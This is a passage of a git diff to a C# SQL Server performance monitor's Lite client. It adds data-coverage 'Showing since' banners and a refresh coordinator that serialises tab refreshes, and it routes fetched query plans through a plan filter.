         prompt.AppendLine("All data results will be discarded.");
+        prompt.AppendLine();
+        prompt.AppendLine(QueryModificationDetector.CapturedQueryNotice);
 
         var result = MessageBox.Show(
             prompt.ToString(),
@@ -529,7 +532,8 @@ decides with eyes open. */
         {
             var connectionString = _credentialResolver.GetConnectionString(_server);
 
-            var actualPlanXml = await ActualPlanExecutor.ExecuteForActualPlanAsync(
+            /* #4348: the re-run's plan comes from the monitored server, not the collected rows, so it is judged here. */
+            var actualPlanXml = await LivePlanDisplay.FilterAsync(await ActualPlanExecutor.ExecuteForActualPlanAsync(
                 connectionString,
                 databaseName ?? "",
                 queryText,
@@ -538,7 +542,7 @@ decides with eyes open. */
                 isAzureSqlDb: false,
                 timeoutSeconds: 0,
                 _actualPlanCts.Token,
-                productName: "SQL Server Performance Monitor Lite");
+                productName: "SQL Server Performance Monitor Lite"));
 
             if (!string.IsNullOrEmpty(actualPlanXml))
             {
@@ -583,7 +587,7 @@ decides with eyes open. */
         try
         {
             var connStr = _credentialResolver.GetConnectionString(_server);
-            return await LocalDataService.FetchQueryPlanOnDemandAsync(connStr, queryHash);
+            return await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryPlanOnDemandAsync(connStr, queryHash));
         }
         catch { return null; }
     }
@@ -629,8 +633,8 @@ private async System.Threading.Tasks.Task ShowBlockedProcessPlanAsync(object sen
             var connStr = _credentialResolver.GetConnectionString(_server);
             foreach (var f in frames)
             {
-                planXml = await LocalDataService.FetchPlanBySqlHandleAsync(
-                    connStr, row.DatabaseName, f.SqlHandle, f.StmtStart, f.StmtEnd);
+                planXml = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchPlanBySqlHandleAsync(
+                    connStr, row.DatabaseName, f.SqlHandle, f.StmtStart, f.StmtEnd));
                 if (!string.IsNullOrEmpty(planXml)) break;
             }
         }
@@ -721,8 +725,8 @@ private async void ViewDeadlockProcessPlan_Click(object sender, RoutedEventArgs
             var connStr = _credentialResolver.GetConnectionString(_server);
             foreach (var f in frames)
             {
-                planXml = await LocalDataService.FetchPlanBySqlHandleAsync(
-                    connStr, row.DatabaseName, f.SqlHandle, f.StmtStart, f.StmtEnd);
+                planXml = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchPlanBySqlHandleAsync(
+                    connStr, row.DatabaseName, f.SqlHandle, f.StmtStart, f.StmtEnd));
                 if (!string.IsNullOrEmpty(planXml)) break;
             }
         }
@@ -795,12 +799,12 @@ private async void ViewDeadlockProcessPlan_Click(object sender, RoutedEventArgs
     private void DownloadDeadlockXml_Click(object sender, RoutedEventArgs e)
     {
         if (sender is not Button btn || btn.DataContext is not DeadlockProcessDetail row || string.IsNullOrEmpty(row.DeadlockGraphXml)) return;
-        SaveXmlToFile(row.DeadlockGraphXml, $"deadlock_{row.DeadlockTime:yyyyMMdd_HHmmss}.xml", "deadlock XML");
+        SaveXmlToFile(row.DeadlockGraphXml, $"deadlock_{row.DeadlockTime:yyyyMMdd_HHmmss}.xml", "deadlock XML", "deadlock graph");
     }
 
     private void DownloadBlockedProcessXml_Click(object sender, RoutedEventArgs e)
     {
         if (sender is not Button btn || btn.DataContext is not BlockedProcessReportRow row || string.IsNullOrEmpty(row.BlockedProcessReportXml)) return;
-        SaveXmlToFile(row.BlockedProcessReportXml, $"blocked_process_{row.EventTime:yyyyMMdd_HHmmss}.xml", "blocked process XML");
+        SaveXmlToFile(row.BlockedProcessReportXml, $"blocked_process_{row.EventTime:yyyyMMdd_HHmmss}.xml", "blocked process XML", "blocked process report");
     }
 }
diff --git a/Lite/Controls/ServerTab.QueriesDataStart.cs b/Lite/Controls/ServerTab.QueriesDataStart.cs
new file mode 100644
index 0000000000..95c8c8be38
--- /dev/null
+++ b/Lite/Controls/ServerTab.QueriesDataStart.cs
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using PerformanceMonitorLite.Services;
+
+namespace PerformanceMonitorLite.Controls;
+
+/// <summary>
+/// #4966: the "Showing since" notice on the surfaces that hide where their data starts: Plan Corrections and the Query
+/// Heatmap on the Queries tab, and Memory Pressure Events on the Memory tab. Each call hands the shared step
+/// (<c>RefreshWindowTruncatedBannerAsync</c> in ServerTab.Refresh.cs, which probes
+/// <see cref="LocalDataService.GetQueryWindowFloorAsync"/> and words the banner through
+/// <see cref="ApplyWindowFloorToBanner"/>) the SAME UTC window the surface's own read takes. A window no longer than
+/// the 90-minute slack skips the probe: it can never get a note.
+/// </summary>
+public partial class ServerTab
+{
+    /// <summary>
+    /// #4966: the time a Blocked Process Reports row is shown, ordered and capped on: the report's own event time (the XE
+    /// <c>@timestamp</c>, or the DMV snapshot's collection time, which is its event time), or the time a run stored it where
+    /// a row carries none. The cap-aware notice names the oldest row by this time.
+    /// </summary>
+    internal static DateTime BlockedProcessRowTimeUtc(BlockedProcessReportRow row) => row.EventTime ?? row.CollectionTime;
+
+    /// <summary>#4966: the time a Deadlocks row is shown, ordered and capped on: the deadlock's own time, or the time a run stored it where a row carries none.</summary>
+    internal static DateTime DeadlockRowTimeUtc(DeadlockRow row) => row.DeadlockTime ?? row.CollectionTime;
+
+    /// <summary>
+    /// #4966: the earliest time the Query Heatmap shows, the start of the first column it drew
+    /// (<see cref="HeatmapResult.TimeBuckets"/>), or null when it drew none. It is what the heatmap hands the shared banner
+    /// step as the earliest time shown (<see cref="EarlierOfFloorAndRowShown"/>): the same step the Darling viewer's heatmap
+    /// takes its bins' start times through.
+    /// </summary>
+    internal static DateTime? FirstColumnDrawn(HeatmapResult drawn) =>
+        drawn.TimeBuckets.Length == 0 ? null : drawn.TimeBuckets[0];
+
+    /// <summary>
+    /// Plan Corrections (<c>v_plan_correction</c>, coverage from the <c>plan_correction</c> collector's runs: the
+    /// table holds a row only while the engine has a recommendation, so a quiet first stretch is not a gap in what
+    /// was collected). Called after the grid is bound, at the sub-tab switch and at the full refresh.
+    /// <see cref="LocalDataService.GetPlanCorrectionsAsync"/> goes through <c>GetTimeRange</c> like the three
+    /// Queries grids, so the banner takes the pair <see cref="LocalDataService.GetQueriesTabWindowUtc"/> hands them.
+    /// The grid reads only the newest <see cref="LocalDataService.PlanCorrectionGridCap"/> rows, so the banner goes
+    /// through the cap-aware step: a read that hit the cap is worded from the oldest row it returned, even where the
+    /// store covers the range, and with no slack (the banner shows whenever that row is later than the range's start,
+    /// on a range of an hour too).
+    /// </summary>
+    private System.Threading.Tasks.Task RefreshPlanCorrectionsBannerAsync(IReadOnlyCollection<PlanCorrectionRow> planCorrections, int hoursBack, DateTime? fromDate, DateTime? toDate)
+    {
+        var (windowStart, windowEnd) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+        return RefreshCappedGridBannerAsync(QueryWindowRelation.PlanCorrection, PlanCorrectionsWindowTruncatedBanner, windowStart, windowEnd, planCorrections, LocalDataService.PlanCorrectionGridCap, row => row.CollectionTime);
+    }
+
+    /// <summary>
+    /// The Query Heatmap draws one column per 5-minute bucket (<see cref="LocalDataService.HeatmapColumns"/>) from the
+    /// range's start to its end, so a gap in the data is empty columns. When this notice shows, the range starts before
+    /// the data and the columns start at the bucket that holds the data start instead (#4991): the span before it is
+    /// what the notice explains. The read decides that with the same probe and verdict as this step, over the same
+    /// window. The notice stays because an empty column cannot tell a server that did
+    /// not exist yet from one that ran nothing. It reads <c>v_query_stats</c> like the Top Queries grid, so it asks the
+    /// same <see cref="QueryWindowRelation.QueryStats"/> question over the same window. Called after the chart is
+    /// drawn, at the sub-tab switch, at the full refresh and when the metric changes (the metric re-reads over the
+    /// tab's current window).
+    ///
+    /// <para>#4966: the notice names the START of the first column the chart drew (<paramref name="drawn"/>), not the
+    /// coverage start inside it: it hands the shared step that column (<see cref="FirstColumnDrawn"/>), which words the
+    /// earlier of the two (<see cref="EarlierOfFloorAndRowShown"/>), as the Darling viewer's heatmap does with its bins'
+    /// start times. A coverage start 10:07 inside the 10:05 column names 10:05, the column on screen, and not a time up
+    /// to one column after it. The 90-minute slack and the skipped probe for a range it covers stay as they were.</para>
+    /// </summary>
+    private System.Threading.Tasks.Task RefreshQueryHeatmapBannerAsync(HeatmapResult drawn, int hoursBack, DateTime? fromDate, DateTime? toDate)
+    {
+        var (windowStart, windowEnd) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+        return RefreshWindowTruncatedBannerAsync(QueryWindowRelation.QueryStats, QueryHeatmapWindowTruncatedBanner, windowStart, windowEnd, FirstColumnDrawn(drawn));
+    }
+
+    /// <summary>
+    /// Memory Pressure Events (<c>v_memory_pressure_events</c>, windowed on <c>sample_time</c> like the chart, with
+    /// coverage from the <c>memory_pressure_events</c> collector's runs). The chart draws bars only where pressure was
+    /// recorded, so a span with no data looked like a span with no pressure. <see cref="LocalDataService.GetMemoryPressureEventsAsync"/>
+    /// goes through the same <c>GetTimeRange</c> call as the Queries grids, so the banner takes the same pair.
+    /// </summary>
+    private System.Threading.Tasks.Task RefreshMemoryPressureEventsBannerAsync(int hoursBack, DateTime? fromDate, DateTime? toDate)
+    {
+        var (windowStart, windowEnd) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+        return RefreshWindowTruncatedBannerAsync(QueryWindowRelation.MemoryPressureEvents, MemoryPressureEventsWindowTruncatedBanner, windowStart, windowEnd);
+    }
+}
diff --git a/Lite/Controls/ServerTab.Refresh.cs b/Lite/Controls/ServerTab.Refresh.cs
index 6f59dacdba..e4331fb3bb 100644
--- a/Lite/Controls/ServerTab.Refresh.cs
+++ b/Lite/Controls/ServerTab.Refresh.cs
@@ -11,8 +11,10 @@
 using System.ComponentModel;
 using System.Diagnostics;
 using System.Linq;
+using System.Threading;
 using System.Threading.Tasks;
 using System.Windows.Controls;
+using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitorLite.Helpers;
 using PerformanceMonitorLite.Mcp;
@@ -20,6 +22,8 @@
 using PerformanceMonitorLite.Services;
 using PerformanceMonitor.Common;
 using CollectorEngineCapability = PerformanceMonitor.Collectors.CollectorEngineCapability;
+using RefreshCoordinator = PerformanceMonitor.Ui.RefreshCoordinator;
+using RefreshScope = PerformanceMonitor.Ui.RefreshScope;
 
 namespace PerformanceMonitorLite.Controls;
 
@@ -57,19 +61,15 @@ the global database filter is applied client-side on the parsed per-process rows
     /// <summary>
     /// The current toolbar window as (hoursBack, fromUtc, toUtc) -- the single derivation shared by the data refresh and
     /// the per-chart Revert / double-click axis re-pin, so both read the same window. A preset leaves from/to null
-    /// (charts fall back to now - hoursBack); a custom range is the pair of naive-UTC instants the tab holds
-    /// (#4766), handed to every read as it is: no clock takes part, so the read, the slicer and the alert badge all
-    /// see the same two instants whichever display zone the pickers show.
+    /// (charts fall back to now - hoursBack); any other range (a calendar period, a sub-hour span, a typed or
+    /// picked range, 'since') is the pair of naive-UTC instants it resolves to (#4766, #5562), handed to every read as
+    /// it is: no clock takes part, so the read, the slicer and the alert badge all see the same two instants whichever
+    /// display zone the picker shows. A fixed range holds its instants itself, so a display-mode switch changes only the text.
     /// </summary>
     private (int hoursBack, DateTime? fromUtc, DateTime? toUtc) GetCurrentWindowUtc()
     {
-        /* A range the pickers show but the tab has not yet held (their defaults, filled before any edit) is taken from them once. */
-        if (IsCustomRange && !_customRange.IsCustom)
-        {
-            CaptureCustomRangeEdit(null);
-        }
-
-        return CurrentWindowUtc(GetHoursBack(), IsCustomRange, _customRange);
+        /* #5562: resolved against the clock now, so a live range slides; the one pure mapping is LiteTimeRange.WindowFor. */
+        return LiteTimeRange.WindowFor(CurrentRange());
     }
 
     /// <summary>
@@ -109,24 +109,87 @@ private void ApplySeparatelyMonitoredListNote(System.Windows.Controls.TextBlock
         noteText.Visibility = note is null ? System.Windows.Visibility.Collapsed : System.Windows.Visibility.Visible;
     }
 
-    private async System.Threading.Tasks.Task RefreshAllDataAsync()
+    /* #5371: one refresh pass in flight per tab, and the newest request that arrives meanwhile runs when it ends. The
+       tab switch, the toolbar's time-range and filter changes, the manual button and the timer all go through this one
+       coordinator. Before it, MainTabControl_SelectionChanged checked _isRefreshing but never set it, so a timer tick
+       that fired while a tab-switch read was waiting started a second full refresh on top (a field trace ran 484 s),
+       and the same check dropped a tab switch or range change that arrived during a refresh. */
+    private RefreshCoordinator? _refreshCoordinator;
+
+    private RefreshCoordinator Refresher => _refreshCoordinator ??= new RefreshCoordinator(
+        RunRefreshPassAsync,
+        ex =>
+        {
+            ConnectionStatusText.Text = $"Error: {DuckDbMemoryLimitSetting.Describe(ex)}";
+            AppLogger.Info("ServerTab", $"[{_server.DisplayName}] refresh failed: {ex}");
+        });
+
+    /// <summary>A user gesture (range or filter change, manual refresh, tab became visible): refresh everything, latest request wins.</summary>
+    private Task RefreshAllDataAsync()
+    {
+        /* #5371: a manual refresh, a range or filter change and the return to a tab that went stale while hidden ask for a
+           fresh answer, so they drop the Collection Health memo. */
+        _dataService.InvalidateCollectionHealthMemo();
+        return Refresher.RequestAsync(RefreshScope.Full);
+    }
+
+    /// <summary>The timer tick: refresh everything unless a pass is already running or waiting, which makes it redundant.</summary>
+    private Task RefreshAllDataOnTimerAsync()
     {
-        if (_isRefreshing) return;
-        _isRefreshing = true;
+        /* #5371: a tick at ANY auto-refresh setting (30, 60 or 300 seconds) reads fresh Collection Health data, so it drops the
+           memo first. The memo is for a second request inside one refresh interval from a different trigger: a tab switch,
+           or the coordinator's replay of a pass a newer request superseded. */
+        _dataService.InvalidateCollectionHealthMemo();
+        return Refresher.PollAsync();
+    }
+
+    /// <summary>A tab or sub-tab switch (or a drill that loaded a tab): reload just the tab now showing, latest request wins.</summary>
+    private Task RefreshVisibleTabOnlyAsync()
+    {
+        /* #5371: a tab or sub-tab switch does NOT drop the Collection Health memo: the tick that read it is at most one
+           refresh interval old, and the switch is the second request the memo exists to absorb. */
+        return Refresher.RequestAsync(RefreshScope.VisibleTab);
+    }
 
-        /* Read the clock again first: every conversion below (the pickers' rendering, the chart X values) goes
-           through it, and it is never cached for the life of the tab (#4766). Never throws. */
-        await RefreshServerClockAsync();
+    private async Task RunRefreshPassAsync(RefreshScope scope, CancellationToken ct)
+    {
+        /* #5562: a live range slides and the collector's cadence can be edited, so the picker's text and notes are
+           redrawn at the start of every pass. */
+        RefreshRangeNotes();
 
-        /* The server's zone can change under the held range (its clock was just read again, or another tab switched
-           the display mode), so the pickers are shown again from the held instants before the window is read. */
-        RenderCustomRange();
+        if (scope == RefreshScope.VisibleTab)
+        {
+            /* The window and the selected tab are read now, at the pass's own start, so a replay loads whatever is
+               selected when it runs, not what was selected when the request was made. */
+            var (tabHoursBack, tabFromDate, tabToDate) = GetCurrentWindowUtc();
+            await RefreshVisibleTabAsync(tabHoursBack, tabFromDate, tabToDate, subTabOnly: true, ct);
+            return;
+        }
 
-        /* The window is the held range as UTC instants (#4766): every read below takes the same two instants. */
-        var (hoursBack, fromDate, toDate) = GetCurrentWindowUtc();
+        await RefreshEverythingAsync(ct);
+    }
 
+    private async Task RefreshEverythingAsync(CancellationToken ct)
+    {
+        /* _isRefreshing now only means "this pass is repainting": the grids' selection handlers read it so a refresh
+           does not clear a slicer overlay. It no longer
+           doubles as the in-flight guard (the coordinator is that), and everything that can throw sits inside the try,
+           so the flag cannot be left set by a failed clock read or picker render. */
+        _isRefreshing = true;
         try
         {
+            /* Read the clock again first: every conversion below (the pickers' rendering, the chart X values) goes
+               through it, and it is never cached for the life of the tab (#4766). Never throws. */
+            await RefreshServerClockAsync();
+            if (ct.IsCancellationRequested) return;
+
+            /* The server's zone can change under the held range (its clock was just read again, or another tab switched
+               the display mode), so the picker is drawn again in the current zone before the window is read. */
+            RangePicker.Refresh();
+
+            /* The window is the held range as UTC instants (#4766): every read below takes the same two instants. */
+            var (hoursBack, fromDate, toDate) = GetCurrentWindowUtc();
+
             using var _profiler = Helpers.MethodProfiler.StartTiming($"ServerTab-{_server?.DisplayName}");
 
             /* When this server tab isn't the selected one, its charts/grids aren't on screen —
@@ -134,20 +197,26 @@ skip the heavy sub-tab data refresh and just keep the alert badge current. Mark
                dirty so the sub-tab is refreshed when the tab is selected again (IsVisibleChanged). */
             if (IsVisible)
             {
-                await RefreshVisibleTabAsync(hoursBack, fromDate, toDate, subTabOnly: true);
+                await RefreshVisibleTabAsync(hoursBack, fromDate, toDate, subTabOnly: true, ct);
             }
             else
             {
                 _refreshPendingWhileHidden = true;
             }
+
+            /* A newer request superseded this pass (a tab switch, a range change): it carries this pass's scope, so the
+               badges and the status line below are done by its replay, and writing them now would only be stale. */
+            if (ct.IsCancellationRequested) return;
+
             /* Always keep the alert badge current even when the Blocking tab is not visible.
                RefreshAlertCountsAsync reads this tab's own held UTC window (GetCurrentWindowUtc). */
             if (MainTabControl.SelectedIndex != 8)
                 await RefreshAlertCountsAsync();
 
-            /* #1591: same reasoning as the alert badge above — a permission-denied collector is only visible on
-               the Collection Health tab, which is precisely why it went unnoticed. Badge it from every tab. */
+            /* #1591: same reasoning as the alert badge above — a permission-denied collector is only visible on the Collection
+               Health tab, which is precisely why it went unnoticed. Badge it from every tab. */
             await RefreshPermissionDeniedBadgeAsync();
+            if (ct.IsCancellationRequested) return;
 
             /* #4766: the time is the refresh instant read in the tab's display zone, and the label beside it names that
                zone at that same instant on the TAB's own clock, so the two agree in all three display modes and on
@@ -160,7 +229,7 @@ skip the heavy sub-tab data refresh and just keep the alert badge current. Mark
         }
         catch (Exception ex)
         {
-            ConnectionStatusText.Text = $"Error: {ex.Message}";
+            ConnectionStatusText.Text = $"Error: {DuckDbMemoryLimitSetting.Describe(ex)}";
             AppLogger.Info("ServerTab", $"[{_server.DisplayName}] RefreshAllDataAsync failed: {ex}");
         }
         finally
@@ -209,13 +278,18 @@ private async System.Threading.Tasks.Task RefreshEngineEditionAsync()
         RunningJobsMsdbWarning.Visibility = RunningJobsMsdbWarningVisibility(_hasMsdbAccess, _isAzureSqlDatabase, _isAwsRds);
     }
 
-    private async System.Threading.Tasks.Task RefreshVisibleTabAsync(int hoursBack, DateTime? fromDate, DateTime? toDate, bool subTabOnly = false)
+    private async System.Threading.Tasks.Task RefreshVisibleTabAsync(int hoursBack, DateTime? fromDate, DateTime? toDate, bool subTabOnly = false, CancellationToken ct = default)
     {
         await RefreshEngineEditionAsync();
 
+        /* #5371: the token is the pass's "a newer request superseded me" signal. The tab loaders below take none, so the
+           stage boundaries are where a superseded pass stops: it does not start a read for a tab nobody is looking at. */
+        if (ct.IsCancellationRequested) return;
+
         if (TabReadsCollectorRuns(MainTabControl.SelectedIndex))
         {
             await RefreshCollectorRunsAsync();
+            if (ct.IsCancellationRequested) return;
         }
 
         switch (MainTabControl.SelectedIndex)
@@ -237,7 +311,7 @@ private async System.Threading.Tasks.Task RefreshVisibleTabAsync(int hoursBack,
             case 14: await RefreshCpuSchedulerAsync(hoursBack, fromDate, toDate); break;
             case 15: await RefreshPlanCacheAsync(hoursBack, fromDate, toDate); break;
             case 16: await RefreshSessionStatsAsync(hoursBack, fromDate, toDate); break;
-            case 17: await RefreshCollectionHealthAsync(hoursBack, fromDate, toDate); break;
+            case 17: await RefreshCollectionHealthAsync(hoursBack, fromDate, toDate, ct); break;
             case 18: await RefreshSystemEventsAsync(hoursBack, fromDate, toDate); break;
             case 19: await RefreshConfigChangesAsync(hoursBack, fromDate, toDate); break;
             case 20: await RefreshLongQueriesAsync(hoursBack, fromDate, toDate); break;
@@ -344,6 +418,12 @@ private async System.Threading.Tasks.Task RefreshQueriesAsync(int hoursBack, Dat
                         _querySnapshotsFilterMgr!.UpdateData(snapshots);
                         LiveSnapshotIndicator.Text = "";
                         _ = LoadActiveQueriesSlicerAsync();
+                        {
+                            /* Where the stored snapshots start, over the SAME UTC window the grid just read
+                               (GetLatestQuerySnapshotsAsync goes through GetTimeRange like the three grids below). */
+                            var (windowStart4, windowEnd4) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+                            await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.QuerySnapshots, ActiveQueriesWindowTruncatedBanner, windowStart4, windowEnd4);
+                        }
                         break;
                     case 2: // Top Queries by Duration
                         var queryStats = await Task.Run(() => _dataService.GetTopQueriesByCpuAsync(_serverId, hoursBack, 50, fromDate, toDate, ServerClock, SelectedDatabaseFilter));
@@ -389,12 +469,17 @@ share the SAME UTC window GetTopQueriesByCpuAsync just read
                         var planCorrections = await Task.Run(() => SafeQueryAsync(() => _dataService.GetPlanCorrectionsAsync(_serverId, hoursBack, fromDate, toDate, SelectedDatabaseFilter)));
                         _planCorrectionFilterMgr!.UpdateData(planCorrections);
                         SetDefaultSortIfNone(PlanCorrectionGrid, "Score", ListSortDirection.Descending);
+                        /* #4966: where the stored plan corrections start, over the SAME UTC window the grid read. */
+                        await RefreshPlanCorrectionsBannerAsync(planCorrections, hoursBack, fromDate, toDate);
                         break;
                     case 6: // Query Heatmap
                         var hmMetric = (HeatmapMetric)HeatmapMetricCombo.SelectedIndex;
                         var hmData = await Task.Run(() => _dataService.GetQueryHeatmapAsync(_serverId, hmMetric, hoursBack, fromDate, toDate, SelectedDatabaseFilter));
                         AppLogger.Info("ServerTab", $"[{_server.DisplayName}] Heatmap: {hmData.TimeBuckets.Length} time buckets, {hmData.Intensities.GetLength(0)}x{hmData.Intensities.GetLength(1)} grid");
                         UpdateQueryHeatmapChart(hmData);
+                        /* #4966: where the stored query_stats rows start, over the SAME UTC window the heatmap read, worded from the
+                           first column of the chart just drawn. */
+                        await RefreshQueryHeatmapBannerAsync(hmData, hoursBack, fromDate, toDate);
                         break;
                 }
                 return;
@@ -427,6 +512,12 @@ await System.Threading.Tasks.Task.WhenAll(
             LiveSnapshotIndicator.Text = "";
 
             _ = LoadActiveQueriesSlicerAsync();
+            {
+                /* Where the stored snapshots start, over the SAME UTC window the grid read -- see the Active
+                   Queries case of the sub-tab switch above. */
+                var (windowStart4, windowEnd4) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);
+                await RefreshWindowTruncatedBannerAsync(QueryWindowRelation.QuerySnapshots, ActiveQueriesWindowTruncatedBanner, windowStart4, windowEnd4);
+            }
 
             _queryStatsFilterMgr!.UpdateData(queryStatsTask.Result);
             SetDefaultSortIfNone(QueryStatsGrid, "TotalElapsedMs", ListSortDirection.Descending);
@@ -460,12 +551,16 @@ await System.Threading.Tasks.Task.WhenAll(
             }
             _planCorrectionFilterMgr!.UpdateData(planCorrectionTask.Result);
             SetDefaultSortIfNone(PlanCorrectionGrid, "Score", ListSortDirection.Descending);
+            /* #4966: see the Plan Corrections case of the sub-tab switch above. */
+            await RefreshPlanCorrectionsBannerAsync(planCorrectionTask.Result, hoursBack, fromDate, toDate);
 
             UpdateQueryDurationTrendChart(queryDurationTrendTask.Result, hoursBack, fromDate, toDate, discontinuitiesTask.Result);
             UpdateProcDurationTrendChart(procDurationTrendTask.Result, hoursBack, fromDate, toDate, discontinuitiesTask.Result);
             UpdateQueryStoreDurationTrendChart(queryStoreDurationTrendTask.Result, hoursBack, fromDate, toDate, discontinuitiesTask.Result);
             UpdateExecutionCountTrendChart(executionCountTrendTask.Result, hoursBack, fromDate, toDate, discontinuitiesTask.Result);
             UpdateQueryHeatmapChart(heatmapTask.Result);
+            /* #4966: see the Query Heatmap case of the sub-tab switch above. */
+            await RefreshQueryHeatmapBannerAsync(heatmapTask.Result, hoursBack, fromDate, toDate);
         }
         catch (Exception ex)
         {
@@ -475,26 +570,211 @@ await System.Threading.Tasks.Task.WhenAll(
 
     /// <summary>
     /// #4231: probes the shared window-floor helper (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>)
-    /// for one of the three raw-only relations and updates that tab's "Showing since &lt;time&gt;" banner —
+    /// for one of the <see cref="QueryWindowRelation"/> relations and updates that
+    /// surface's "Showing since &lt;time&gt;" banner —
     /// the SAME probe and the same truncation verdict (<see cref="McpQueryTools.IsWindowTruncated"/>) the
     /// matching MCP tool uses, so the grid and the tool never disagree about whether a window was cut short.
-    /// Called from the sub-tab switch and full-refresh paths below AND from the three OnXSlicerChanged
-    /// handlers in ServerTab.Slicers.cs — a slicer drag re-reads the same grid over a narrower window, which
-    /// can itself start after the raw table's floor, so it needs the same disclosure. No try/catch here: every
-    /// caller already runs inside its own (ServerTabCapabilityPinTests pins that every OnXSlicerChanged keeps
-    /// its own try/catch; RefreshQueriesAsync has one around the whole sub-tab switch).
+    /// Every surface that carries the banner reaches it here: the three Queries grids, Active Queries, Current Waits,
+    /// the Query Heatmap, Memory Pressure Events and Plan Corrections (the last one through
+    /// <see cref="RefreshCappedGridBannerAsync{T}"/>, when its read is under its cap), and, over the toolbar's window, the
+    /// System Events, Default Trace and Config Changes grids (through <c>RefreshStoredWindowBannerAsync</c>) and the two
+    /// grids that read a capped page, the Collection Log and Long Queries (through the cap-aware step, like Plan
+    /// Corrections). Called from the sub-tab switch
+    /// and full-refresh paths below, from the slicer handlers in ServerTab.Slicers.cs, from the Active Queries
+    /// drill-downs in ServerTab.DrillDown.cs and from the helpers in ServerTab.QueriesDataStart.cs — a slicer drag
+    /// re-reads the same grid over a narrower window, which
+    /// can itself start after the raw table's floor, so it needs the same disclosure. A probe that throws costs
+    /// only the banner (<see cref="ProbeWindowFloorOrNullAsync"/> hides it and logs): the callers' own try/catch
+    /// would otherwise skip whatever follows the probe, such as the Query Stats grid bind after the Active Queries
+    /// banner, or the Locking tab's slicers and tab-badge counts after the Current Waits banner.
     ///
     /// <para>#4279: <paramref name="startUtc"/>/<paramref name="endUtc"/> MUST be the same UTC window the
     /// matching grid read (<see cref="LocalDataService.GetQueriesTabWindowUtc"/>, or a slicer's own
     /// <c>SlicerRangeEventArgs.StartUtc</c>/<c>EndUtc</c>) -- <see cref="LocalDataService.GetQueryWindowFloorAsync"/>
     /// compares them straight against UTC <c>collection_time</c>, with no offset conversion of its own. A
     /// server-local pair here silently shifts the probed window by the server's UTC offset.</para>
+    ///
+    /// <para>#4966: a window no longer than the 90-minute slack (<see cref="McpQueryTools.CanWindowBeTruncated"/>) can
+    /// never get a coverage note, so the probe is not called for it: the banner is hidden and its text cleared, as for
+    /// any window the probe finds nothing to report on.</para>
+    ///
+    /// <para>#4989: a capped grid under its cap hands <paramref name="earliestRowShownUtc"/>, the oldest of its rows by the
+    /// time each is shown on. The notice then names the earlier of the probe's floor and that row
+    /// (<see cref="EarlierOfFloorAndRowShown"/>): the Long Queries grid shows each completion at its event time, which on a
+    /// server's first run can be up to <see cref="PerformanceMonitor.Collectors.CollectorContext.EventFallbackWindow"/> before the run that stored it,
+    /// and the probe measures the run's time. The Query Heatmap hands the start of the first column it drew
+    /// (<see cref="FirstColumnDrawn"/>, #4966), which holds the data start and so starts up to one column before it.
+    /// Every other caller leaves it out and gets the probe's floor as before.</para>
+    /// </summary>
+    private async System.Threading.Tasks.Task RefreshWindowTruncatedBannerAsync(QueryWindowRelation relation, TextBlock banner, DateTime startUtc, DateTime endUtc, DateTime? earliestRowShownUtc = null, bool includeAlsoCovered = true, CancellationToken ct = default)
+    {
+        var floor = await ProbeWindowFloorOrNullAsync(
+            () => Task.Run(() => _dataService.GetQueryWindowFloorAsync(relation, _serverId, startUtc, endUtc, includeAlsoCovered: includeAlsoCovered, cancellationToken: ct)),
+            $"[{_server.DisplayName}] {relation}", startUtc, endUtc, ct);
+        ApplyWindowFloorToBanner(banner, EarlierOfFloorAndRowShown(floor, earliestRowShownUtc), startUtc, GetPickerZone());
+
+        /* #5562 R7: the picker's 'Data starts ...' note takes its start from the probe this site already awaited, for the page
+           on screen (every relation, not only the Queries grid's), else the archive's static retention edge. No new query. */
+        FeedDataStart(LiteTimeRange.CollectorOfRelation(relation), floor);
+    }
+
+    /// <summary>
+    /// #4989: the floor a capped grid's notice is worded from when its read stayed UNDER its cap: the probe's floor
+    /// (<paramref name="probedFloor"/>), or the oldest row the grid shows (<paramref name="earliestRowShownUtc"/>) when that is
+    /// earlier, so a notice never names a time later than a row on the screen. The Query Heatmap passes the start of its
+    /// first column (#4966), so a notice never names a time later than a column on the screen either. The same rule as the
+    /// Darling viewer's event grids and heatmap (<c>ViewerEventDataStart.Of</c>). A null floor stays null: the probe found nothing to report on, its failure
+    /// hides the banner, and a window no longer than the slack never gets one, and a row shown does not change any of those.
+    /// For a grid whose rows are shown on the probe's own column (the Collection Log and Plan Corrections) the probe's floor is
+    /// never later than its oldest row, so this returns the floor unchanged.
+    /// </summary>
+    internal static DateTime? EarlierOfFloorAndRowShown(DateTime? probedFloor, DateTime? earliestRowShownUtc) =>
+        probedFloor is DateTime floor && earliestRowShownUtc is DateTime shown && shown < floor ? shown : probedFloor;
+
+    /// <summary>The oldest of a capped grid's <paramref name="rows"/> by <paramref name="rowTimeUtc"/>, or null when it shows none.</summary>
+    internal static DateTime? EarliestRowShown<T>(IReadOnlyCollection<T> rows, Func<T, DateTime> rowTimeUtc) =>
+        rows.Count == 0 ? null : rows.Min(rowTimeUtc);
+
+    /// <summary>
+    /// The answer of a window-floor probe, or null when the probe throws, or when the window is no longer than the
+    /// slack (<see cref="McpQueryTools.CanWindowBeTruncated"/>): such a window can never get a coverage note, so the
+    /// probe is not called at all (#4966). The probe is only the banner's disclosure, so
+    /// its failure must not unwind the refresh past what follows it: the null goes on to
+    /// <see cref="ApplyWindowFloorToBanner"/>, for which a null floor hides the banner and clears its text (a "Showing
+    /// since" from the last read does not outlive the answer it came from), the failure is logged at Warn, and the
+    /// refresh goes on. <c>internal static</c> with the probe passed in so the tests drive a throwing probe, and count
